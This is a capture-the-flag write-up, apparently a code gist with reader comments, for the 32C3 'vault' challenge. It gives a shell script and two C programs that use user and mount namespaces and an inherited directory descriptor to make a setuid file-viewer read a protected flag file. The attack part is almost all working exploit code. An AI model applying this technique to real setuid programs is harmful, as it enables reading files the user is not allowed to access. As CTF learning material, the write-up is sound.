32c3 vault exploit

doit.sh

#!/bin/sh
echo 'sleep 600' | /tmp/unshare &
sleep 1;
echo 'echo -e "r\n/proc/self/fd/3/vault/flag" | /home/adam/vault_explorer' | /tmp/opendir /proc/$!/root

opendir.c

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sched.h>
#include <sys/mount.h>
int main(int argc, char *argv[])
{
  open(argv[1], O_RDONLY);
  system("/bin/bash");
  return 0;
}

unshare.c

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sched.h>
#include <sys/mount.h>
int main(int argc, char *argv[])
{
  if(unshare(CLONE_NEWNS | CLONE_NEWUSER) < 0) {
    perror("unshare");
    return 1;
  }
  if(mount("none", "/vault", "tmpfs", 0, 0) != 0) {
    perror("mount");
    return 1;
  }
  if(creat("/vault/flag", 0777) < 0){
    perror("creat");
    return 1;
  }
  if(mount("/home/adam/flag", "/vault/flag", "none", MS_BIND, 0) != 0) {
    perror("mount bind");
    return 1;
  }
  system("/bin/bash");
  return 0;
}

added a small script to run the exploit
just drop unshare and opendir into /tmp and run doit.sh

Thanks for the solutions! Can you please clarify me if you created the code inside the system or sent it to there with rsync or something? Thanks!

Thanks Stephen, been able to reproduce now :)
Still unclear on some details how this works.
After running the opendir command, why are we suddenly able to read the flag file? Is the child process (vault_explorer) seeing/inheriting our own /vault tmpfs directory with the mount-bind flag?

Why is it not possible to read the flag file when we symlink it? Is this a standard Linux protection that you cannot read symlinked files of the setuid user or what is enforcing this?

@anotherik: personally, I did a "cat > file.txt", then pasted the contents of the file and did Ctrl-D.